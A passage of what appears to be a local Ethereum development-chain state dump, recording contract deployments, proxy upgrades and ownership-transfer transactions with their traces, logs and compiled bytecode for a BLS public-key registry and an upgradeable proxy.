6a8611ce5565b6020020151836116b9836005611e99565b600c81106116c9576116c9611ce5565b60200201525060010161151f565b506116e0611890565b60006020826101808560086107d05a03fa905080806116fb57fe5b50806117415760405162461bcd60e51b81526020600482015260156024820152741c185a5c9a5b99cb5bdc18dbd9194b59985a5b1959605a1b60448201526064016104a3565b5051151598975050505050505050565b6040805180820190915260008082526020820152815115801561177657506020820151155b15611794575050604080518082019091526000808252602082015290565b6040518060400160405280836000015181526020017f30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd4784602001516117d99190611d70565b611803907f30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd47611e58565b905292915050565b919050565b60405180606001604052806003906020820280368337509192915050565b60405180608001604052806004906020820280368337509192915050565b604051806040016040528061185f6118ae565b815260200161186c6118ae565b905290565b604051806101800160405280600c906020820280368337509192915050565b60405180602001604052806001906020820280368337509192915050565b60405180604001604052806002906020820280368337509192915050565b80356001600160a01b038116811461180b57600080fd5b6000602082840312156118f557600080fd5b6118fe826118cc565b9392505050565b803560ff8116811461180b57600080fd5b60006020828403121561192857600080fd5b6118fe82611905565b634e487b7160e01b600052604160045260246000fd5b6040805190810167ffffffffffffffff8111828210171561196a5761196a611931565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171561199957611999611931565b604052919050565b600080604083850312156119b457600080fd5b6119bd836118cc565b9150602083013567ffffffffffffffff8111156119d957600080fd5b8301601f810185136119ea57600080fd5b803567ffffffffffffffff811115611a0457611a04611931565b611a17601f8201601f1916602001611970565b818152866020838501011115611a2c57600080fd5b816020840160208301376000602083830101528093505050509250929050565b600060208284031215611a5e57600080fd5b5035919050565b8151815260208083015190820152604081016106ff565b60008060408385031215611a8f57600080fd5b611a9883611905565b946020939093013593505050565b600080600060608486031215611abb57600080fd5b611ac484611905565b9250602084013563ffffffff81168114611add57600080fd5b929592945050506040919091013590565b6000806000838503610160811215611b0557600080fd5b611b0e856118cc565b9350610100601f1982011215611b2357600080fd5b602085019250604061011f1982011215611b3c57600080fd5b50610120840190509250925092565b600080600060408486031215611b6057600080fd5b833567ffffffffffffffff811115611b7757600080fd5b8401601f81018613611b8857600080fd5b803567ffffffffffffffff811115611b9f57600080fd5b866020828401011115611bb157600080fd5b6020918201979096509401359392505050565b602080825282518282018190526000918401906040840190835b81811015611c0257835163ffffffff16835260209384019390920191600101611bde565b509095945050505050565b6020808252604e908201527f424c5341706b52656769737472792e6f6e6c795265676973747279436f6f726460408201527f696e61746f723a2063616c6c6572206973206e6f74207468652072656769737460608201526d393c9031b7b7b93234b730ba37b960911b608082015260a00190565b60018060a01b0384168152826020820152606060408201526000825180606084015260005b81811015611cc35760208186018101516080868401015201611ca6565b506000608082850101526080601f19601f830116840101915050949350505050565b634e487b7160e01b600052603260045260246000fd5b60006040828403128015611d0e57600080fd5b50611d17611947565b823581526020928301359281019290925250919050565b888152876020820152866040820152856060820152604085608083013760408460c0830137610100810192909252610120820152610140019695505050505050565b600082611d8d57634e487b7160e01b600052601260045260246000fd5b500690565b600082601f830112611da357600080fd5b611dab611947565b806040840185811115611dbd57600080fd5b845b81811015611c02578035845260209384019301611dbf565b60006080828403128015611dea57600080fd5b50611df3611947565b611dfd8484611d92565b8152611e0c8460408501611d92565b60208201529392505050565b823581526020808401359082015260c0810160408381840137604080840160808401379392505050565b634e487b7160e01b600052601160045260246000fd5b818103818111156106ff576106ff611e42565b600081611e7a57611e7a611e42565b506000190190565b80820281158282048414176106ff576106ff611e42565b808201808211156106ff576106ff611e4256fe424c5341706b52656769737472792e7265676973746572424c535075626c6963a2646970667358221220df4f56df4f9fb3b920f09e884a490e66eaaef074188ad7d538b50b8a6ed8be1464736f6c634300081c0033","nonce":44,"gas_used":1795984},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x1b6790","logs":[{"address":"0x8f86403a4de0bb5791fa46b8e795c547942fe4cf","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"}],"logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000"},"block_hash":"0x8eecd2201ca2fdea7d1a691a450ac2195037df85b0ac1dc9384b81dc86d4ac37","block_number":7},{"info":{"transaction_hash":"0xd44073f051108c8f3c39edf183d0bcaea084672b414c2374c6d6750e9ef9fa27","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0xdc64a140aa3e981100a9beca4e685f962f0cf6c9","contract_address":null,"traces":[{"parent":null,"children":[1],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0xdc64a140aa3e981100a9beca4e685f962f0cf6c9","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0xdf5b3547000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000001000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d00000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":38658,"gas_limit":66767,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":0,"children":[],"idx":1,"trace":{"depth":1,"success":true,"caller":"0xdc64a140aa3e981100a9beca4e685f962f0cf6c9","address":"0x0dcd1bf9a1b36ce34237eeafef220932846bcd82","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0x0","data":"0xdf5b3547000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000001000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d00000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":31336,"gas_limit":58554,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x0c35b17d91c96eb2751cd456e1252f42a386e524ef9ff26ecc9950859fdc04fe"],"data":"0x000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x77d930df4937793473a95024d87a98fd2ccb9e92d3c2463b3dacd65d3e6a5786"],"data":"0x000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d0000000000000000000000000000000000000000000000000000000000000000"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1}]}],"exit":"Return","out":"0x","nonce":30,"gas_used":60778},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0xed6a","logs":[{"address":"0xdc64a140aa3e981100a9beca4e685f962f0cf6c9","topics":["0x0c35b17d91c96eb2751cd456e1252f42a386e524ef9ff26ecc9950859fdc04fe"],"data":"0x000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d"},{"address":"0xdc64a140aa3e981100a9beca4e685f962f0cf6c9","topics":["0x77d930df4937793473a95024d87a98fd2ccb9e92d3c2463b3dacd65d3e6a5786"],"data":"0x000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d0000000000000000000000000000000000000000000000000000000000000000"}],"logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000002000000000000000000000000000000000000000000000000000000100000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000800000000000000000000000000000000000000000000000000000001000000000100000000000000"},"block_hash":"0x01830e263c3ff88b576e3efa74f18ca4b0864595494c15dab977d28aaf894e48","block_number":20},{"info":{"transaction_hash":"0xd3871eb6a2abee19230609004acda2e37090663ebffa73f1cc1de44467665fda","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0x1613beb3b2c4f22ee086b2b38c1476a3ce7f78e8","contract_address":null,"traces":[{"parent":null,"children":[1],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x1613beb3b2c4f22ee086b2b38c1476a3ce7f78e8","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0xf2fde38b000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","output":"0x","gas_used":11740,"gas_limit":24386,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":0,"children":[],"idx":1,"trace":{"depth":1,"success":true,"caller":"0x1613beb3b2c4f22ee086b2b38c1476a3ce7f78e8","address":"0x809d550fca64d94bd9f66e60752a544199cfac3d","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0x0","data":"0xf2fde38b000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","output":"0x","gas_used":4445,"gas_limit":16862,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Return","out":"0x","nonce":51,"gas_used":33172},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x8194","logs":[{"address":"0x1613beb3b2c4f22ee086b2b38c1476a3ce7f78e8","topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"}],"logsBloom":"0x00000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000008000000000000000000010100000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000001000"},"block_hash":"0xd0f89004240a6a433b9e824e8847bf0b3ac90e4a33b0a1391b01bbd281799b8b","block_number":11},{"info":{"transaction_hash":"0x8d7d689b5e7498d26362ee52308da636bcbbe413fa03ca37f136aa3bcb8cda91","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0x5fbdb2315678afecb367f032d93f642f64180aa3","contract_address":null,"traces":[{"parent":null,"children":[1],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x5fbdb2315678afecb367f032d93f642f64180aa3","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x9623609d000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d0000000000000000000000007a2088a1bfc9d81c55368ae168c2c02570cb814f00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000084019e27290000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000003635c9adc5dea0000000000000000000000000000009635f643e140090a9a8dcd712ed6285858cebef000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":118687,"gas_limit":172853,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":0,"children":[2],"idx":1,"trace":{"depth":1,"success":true,"caller":"0x5fbdb2315678afecb367f032d93f642f64180aa3","address":"0xc5a5c42992decbae36851359345fe25997f5c42d","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x4f1ef2860000000000000000000000007a2088a1bfc9d81c55368ae168c2c02570cb814f00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000084019e27290000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000003635c9adc5dea0000000000000000000000000000009635f643e140090a9a8dcd712ed6285858cebef000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":112329,"gas_limit":163941,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000007a2088a1bfc9d81c55368ae168c2c02570cb814f"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Call":0}]},{"parent":1,"children":[],"idx":2,"trace":{"depth":2,"success":true,"caller":"0xc5a5c42992decbae36851359345fe25997f5c42d","address":"0x7a2088a1bfc9d81c55368ae168c2c02570cb814f","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0x0","data":"0x019e27290000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000003635c9adc5dea0000000000000000000000000000009635f643e140090a9a8dcd712ed6285858cebef000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512","output":"0x","gas_used":99364,"gas_limit":148834,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xf97ed4e083acac67830025ecbc756d8fe847cdbdca4cee3fe1e128e98b54ecb5"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000de0b6b3a7640000"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x6ab181e0440bfbf4bacdf2e99674735ce6638005490688c5f994f5399353e452"],"data":"0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003635c9adc5dea00000"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d","0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1},{"Log":2},{"Log":3},{"Log":4}]}],"exit":"Stop","out":"0x","nonce":29,"gas_used":142079},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x22aff","logs":[{"address":"0xc5a5c42992decbae36851359345fe25997f5c42d","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000007a2088a1bfc9d81c55368ae168c2c02570cb814f"],"data":"0x"},{"address":"0xc5a5c42992decbae36851359345fe25997f5c42d","topics":["0xf97ed4e083acac67830025ecbc756d8fe847cdbdca4cee3fe1e128e98b54ecb5"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000de0b6b3a7640000"},{"address":"0xc5a5c42992decbae36851359345fe25997f5c42d","topics":["0x6ab181e0440bfbf4bacdf2e99674735ce6638005490688c5f994f5399353e452"],"data":"0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003635c9adc5dea00000"},{"address":"0xc5a5c42992decbae36851359345fe25997f5c42d","topics":["0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d","0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000"},{"address":"0xc5a5c42992decbae36851359345fe25997f5c42d","topics":["0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512"},{"address":"0xc5a5c42992decbae36851359345fe25997f5c42d","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"}],"logsBloom":"0x00000000000000000000000040000000400004000000000000000000000000000400000000000000000000000000000000000000000100100004000000000000000000000000000000000400000002000000000000000000000000000000040000000000000000000000000004800000000004000000000000000000000000000000000300000002000040000000000400000000000080000000000000000000000000000000000000000000000400000000000000000000000000000000000000040020480000000000000000040000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000400000"},"block_hash":"0xb9bef2344237e768eb87fd074849abcd5e2acedec69907230bedf80aac4517b3","block_number":19},{"info":{"transaction_hash":"0xece0fbed8cbdcfe3cf8a43c932bc41f5a9fe7f2dde7ab7cf4e99dc08ea3468f1","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x8a791620dd6260079bf849dc5567adc3f2fdc318","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x8a791620dd6260079bf849dc5567adc3f2fdc318","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","output":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033","gas_used":465106,"gas_limit":636783,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1}]}],"exit":"Return","out":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d57610